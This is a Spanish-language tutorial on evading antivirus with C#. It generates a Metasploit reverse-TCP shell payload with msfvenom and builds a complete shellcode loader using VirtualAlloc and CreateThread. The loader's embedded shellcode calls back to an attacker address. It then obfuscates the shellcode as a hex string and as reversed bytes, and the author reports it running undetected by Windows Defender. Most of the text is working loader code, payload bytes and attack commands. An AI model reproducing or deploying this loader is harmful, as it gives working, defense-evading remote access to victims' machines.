Evasión de antivirus con C#


Conjunto de técnicas para evadir herramientas de seguridad en un Endpoint

En esta sección vamos a utilizar nuestra máquina Kali, una maquina w10 nuestra y otra máquina w10 objetivo.

Son técnicas genéricas para evadir cualquier herramienta antivirus.

Para demostrar esta evasión vamos a crear uno de los payloads más famosos y detectados; reverseTCP con msfVenom y obtener la conexión con metasploit.

Vamos a metasploit framework:


msfconsole
use exploit/multi/handler
show payloads

images/61-1.png


set payload windows/shell/reverse_tcp


msfvenom --platform windows -p windows/shell/reverse_tcp lhost=192.168.20.129 lport=5555 -f exe > shell.exe

images/61-2.png

Si esto lo pasamos directamente a la máquina objetivo windows, lo detectaría inmediatamente y bloquearía siquiera la ejecución del payload.

images/61-3.png


set lhost 192.168.20.129
set lport 5555
exploit

Escuchando el exploit vamos a crear el exploit con C# y compilar en la máquina windows del atacante.

Se van a introducir llamadas a la API win32 que permite interactuar con el sistema operativo y crear nuestro proceso e inyectar el payload en memoria.

En nuestra máquina windows atacante abrimos VScode y creamos un nuevo proyecto.

images/61-4.png

Eliminamos todo el código de ejemplo y vamos a importar unas librerías.

images/61-5.png

Creamos la siguiente instancia:


namespace Win32
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAtributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("kernel32.dll")]
static extern IntPtr WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
}
}

Ahora vamos a crear una función para crear nuestro payload con ayuda de Venom:


msfvenom --platform windows -p windows/shell/reverse_tcp lhost=192.168.20.129 lport=5555 -f csharp

images/61-6.png

Nos devuelve un payload en csharp en shellcode, lo copiamos:

Lo pegamos dentro de la función Main y le vamos a agregar un verificador para nosotros:

images/61-7.png

Vamos a utilizar una función para reservarnos en memoria espacio para poder escribir el payload:


IntPtr funcAddrr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);

Donde los números son la dirección en memoria y los permisos que tendremos.

Indicamos que copie los datos del array “buf” el payload en memoria:

images/61-8.png

Ejecutamos el payload creando un nuevo thread, hilo o proceso:


IntPtr hThread = CreateThread(IntPtr.Zero, 0, funcAddrr, IntPtr.Zero, 0, IntPtr.Zero);

Y por último esperamos a poder ejecutar los comandos:

images/61-9.png

Compilamos

images/61-10.png

Con los archivos listos ahora vamos a pasarlos a nuestra máquina objetivo y ver si el defender lo detecta.

images/61-11.png

Probablemente siga siendo detectado debido a que el shellcode es generado por MsfVenom.

Esto se puede evitar modificando, ofuscando o creando nuestro propio payload en shellcode.

Para esto podemos por ejemplo cambiar la manera en la que se guarda en el binario, por ejemplo lo pasamos como string y luego en memoria lo volvemos a transformar a bytes.

De nuevo cogemos el payload, lo llevamos a emacs y lo vamos a procesar:

images/61-12.png

Pulsamos Alt+x

Replace-string 0x with +

Replace-string , with (lo dejamos en blanco)

y nos queda algo así:

images/61-13.png

Nos quedan los bytes del payload separados por +.

Quitamos los saltos de línea.

images/61-14.png

Nos queda un string de bytes separados por +

En nuestro shellreverse eliminamos el anterior payload y vamos a crear el nuevo:

Creamos la variable payload string y le indicamos que la divida por los signos de separación que le hayamos indicado:

images/61-15.png

Ahora le indicamos que se transforme en un array de bytes como antes.

Para esto cuando tengamos los bytes ya separados le indicamos que itere mediante un for con la longitud del payload sin + y que en el array final vaya guardando estos bytes en esa forma:

images/61-16.png

Es importante indicar que los bytes son agrupados de 2 y no de 1 que es por defecto si no indicamos ese 16.

En adición tras un fallo de posicionamiento en el array he añadido un parámetro para eliminar posibles campos vacíos.

images/61-17.png

Modificamos las referencias a la antigua variable:

images/61-18.png

Código completo:


using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;

namespace Win32
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAtributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("kernel32.dll")]
static extern IntPtr WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);


static void Main (string[] args)
{
string payload = "fc+e8+8f+00+00+00+60+31+d2+64+8b+52+30+89+e5+8b+52+0c+8b+52+14+31+ff+0f+b7+4a+26+8b+72+28+31+c0+ac+3c+61+7c+02+2c+20+c1+cf+0d+01+c7+49+75+ef+52+8b+52+10+57+8b+42+3c+01+d0+8b+40+78+85+c0+74+4c+01+d0+8b+58+20+8b+48+18+01+d3+50+85+c9+74+3c+49+31+ff+8b+34+8b+01+d6+31+c0+ac+c1+cf+0d+01+c7+38+e0+75+f4+03+7d+f8+3b+7d+24+75+e0+58+8b+58+24+01+d3+66+8b+0c+4b+8b+58+1c+01+d3+8b+04+8b+01+d0+89+44+24+24+5b+5b+61+59+5a+51+ff+e0+58+5f+5a+8b+12+e9+80+ff+ff+ff+5d+68+33+32+00+00+68+77+73+32+5f+54+68+4c+77+26+07+89+e8+ff+d0+b8+90+01+00+00+29+c4+54+50+68+29+80+6b+00+ff+d5+6a+0a+68+c0+a8+14+81+68+02+00+15+b3+89+e6+50+50+50+50+40+50+40+50+68+ea+0f+df+e0+ff+d5+97+6a+10+56+57+68+99+a5+74+61+ff+d5+85+c0+74+0a+ff+4e+08+75+ec+e8+67+00+00+00+6a+00+6a+04+56+57+68+02+d9+c8+5f+ff+d5+83+f8+00+7e+36+8b+36+6a+40+68+00+10+00+00+56+6a+00+68+58+a4+53+e5+ff+d5+93+53+6a+00+56+53+57+68+02+d9+c8+5f+ff+d5+83+f8+00+7d+28+58+68+00+40+00+00+6a+00+50+68+0b+2f+0f+30+ff+d5+57+68+75+6e+4d+61+ff+d5+5e+5e+ff+0c+24+0f+85+70+ff+ff+ff+e9+9b+ff+ff+ff+01+c3+29+c6+75+c1+c3+bb+f0+b5+a2+56+6a+00+53+ff+d5";

string[] temp_payload = payload.Split('+');

// Filtrar elementos vacíos
temp_payload = temp_payload.Where(s => !string.IsNullOrEmpty(s)).ToArray();

byte[] final_payload = new byte[temp_payload.Length];

for (int i = 0; i < temp_payload.Length; i++)
{
final_payload[i] = Convert.ToByte(temp_payload[i], 16);
}


Console.WriteLine();
Console.ForegroundColor = ConsoleColor.Gray;
Console.WriteLine("Iniciando...");

IntPtr funcAddrr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(final_payload, 0, funcAddrr, final_payload.Length);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, funcAddrr, IntPtr.Zero, 0, IntPtr.Zero);

WaitForSingleObject(hThread, 0xffffffff);

}


}
}

Compilamos y comprobamos si funciona.

images/61-19.png

Perfecto, está funcionando pero vamos a comprobar que defender no lo bloquee.

images/61-20.png

Listo, indetectable por parte de defender.

images/61-21.png

Todo esto se puede ofuscar de muchas formas a parte de convertirse en string etc.

Por ejemplo podemos coger el array de bytes generado por msfvenom y simplemente dar la vuelta a los bytes.

Si este es el payload generado:


0xfc,0xe8,0x8f,0x00,0x00,0x00,0x60,0x31,0xd2,0x64,0x8b,0x52,0x30,0x89,0xe5,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x31,0xff,0x0f,0xb7,0x4a,0x26,0x8b,0x72,0x28,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0x49,0x75,0xef,0x52,0x8b,0x52,0x10,0x57,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4c,0x01,0xd0,0x8b,0x58,0x20,0x8b,0x48,0x18,0x01,0xd3,0x50,0x85,0xc9,0x74,0x3c,0x49,0x31,0xff,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe0,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xe9,0x80,0xff,0xff,0xff,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x68,0xc0,0xa8,0x14,0x81,0x68,0x02,0x00,0x15,0xb3,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x67,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0x0f,0x85,0x70,0xff,0xff,0xff,0xe9,0x9b,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc1,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5

https://yupana-engineering.com/online-reverse-byte-array


0xd5, 0xff, 0x53, 0x00, 0x6a, 0x56, 0xa2, 0xb5, 0xf0, 0xbb, 0xc3, 0xc1, 0x75, 0xc6, 0x29, 0xc3, 0x01, 0xff, 0xff, 0xff, 0x9b, 0xe9, 0xff, 0xff, 0xff, 0x70, 0x85, 0x0f, 0x24, 0x0c, 0xff, 0x5e, 0x5e, 0xd5, 0xff, 0x61, 0x4d, 0x6e, 0x75, 0x68, 0x57, 0xd5, 0xff, 0x30, 0x0f, 0x2f, 0x0b, 0x68, 0x50, 0x00, 0x6a, 0x00, 0x00, 0x40, 0x00, 0x68, 0x58, 0x28, 0x7d, 0x00, 0xf8, 0x83, 0xd5, 0xff, 0x5f, 0xc8, 0xd9, 0x02, 0x68, 0x57, 0x53, 0x56, 0x00, 0x6a, 0x53, 0x93, 0xd5, 0xff, 0xe5, 0x53, 0xa4, 0x58, 0x68, 0x00, 0x6a, 0x56, 0x00, 0x00, 0x10, 0x00, 0x68, 0x40, 0x6a, 0x36, 0x8b, 0x36, 0x7e, 0x00, 0xf8, 0x83, 0xd5, 0xff, 0x5f, 0xc8, 0xd9, 0x02, 0x68, 0x57, 0x56, 0x04, 0x6a, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x67, 0xe8, 0xec, 0x75, 0x08, 0x4e, 0xff, 0x0a, 0x74, 0xc0, 0x85, 0xd5, 0xff, 0x61, 0x74, 0xa5, 0x99, 0x68, 0x57, 0x56, 0x10, 0x6a, 0x97, 0xd5, 0xff, 0xe0, 0xdf, 0x0f, 0xea, 0x68, 0x50, 0x40, 0x50, 0x40, 0x50, 0x50, 0x50, 0x50, 0xe6, 0x89, 0xb3, 0x15, 0x00, 0x02, 0x68, 0x81, 0x14, 0xa8, 0xc0, 0x68, 0x0a, 0x6a, 0xd5, 0xff, 0x00, 0x6b, 0x80, 0x29, 0x68, 0x50, 0x54, 0xc4, 0x29, 0x00, 0x00, 0x01, 0x90, 0xb8, 0xd0, 0xff, 0xe8, 0x89, 0x07, 0x26, 0x77, 0x4c, 0x68, 0x54, 0x5f, 0x32, 0x73, 0x77, 0x68, 0x00, 0x00, 0x32, 0x33, 0x68, 0x5d, 0xff, 0xff, 0xff, 0x80, 0xe9, 0x12, 0x8b, 0x5a, 0x5f, 0x58, 0xe0, 0xff, 0x51, 0x5a, 0x59, 0x61, 0x5b, 0x5b, 0x24, 0x24, 0x44, 0x89, 0xd0, 0x01, 0x8b, 0x04, 0x8b, 0xd3, 0x01, 0x1c, 0x58, 0x8b, 0x4b, 0x0c, 0x8b, 0x66, 0xd3, 0x01, 0x24, 0x58, 0x8b, 0x58, 0xe0, 0x75, 0x24, 0x7d, 0x3b, 0xf8, 0x7d, 0x03, 0xf4, 0x75, 0xe0, 0x38, 0xc7, 0x01, 0x0d, 0xcf, 0xc1, 0xac, 0xc0, 0x31, 0xd6, 0x01, 0x8b, 0x34, 0x8b, 0xff, 0x31, 0x49, 0x3c, 0x74, 0xc9, 0x85, 0x50, 0xd3, 0x01, 0x18, 0x48, 0x8b, 0x20, 0x58, 0x8b, 0xd0, 0x01, 0x4c, 0x74, 0xc0, 0x85, 0x78, 0x40, 0x8b, 0xd0, 0x01, 0x3c, 0x42, 0x8b, 0x57, 0x10, 0x52, 0x8b, 0x52, 0xef, 0x75, 0x49, 0xc7, 0x01, 0x0d, 0xcf, 0xc1, 0x20, 0x2c, 0x02, 0x7c, 0x61, 0x3c, 0xac, 0xc0, 0x31, 0x28, 0x72, 0x8b, 0x26, 0x4a, 0xb7, 0x0f, 0xff, 0x31, 0x14, 0x52, 0x8b, 0x0c, 0x52, 0x8b, 0xe5, 0x89, 0x30, 0x52, 0x8b, 0x64, 0xd2, 0x31, 0x60, 0x00, 0x00, 0x00, 0x8f, 0xe8, 0xfc

Por ejemplo podemos convertir exe to shellcode con scripts para poder inyectarlos:

https://github.com/daVinci13/Exe2shell

Aquí podemos ver diferentes técnicas:

https://damonmohammadbagher.github.io/Posts/ebookBypassingAVsByCsharpProgramming/index.htm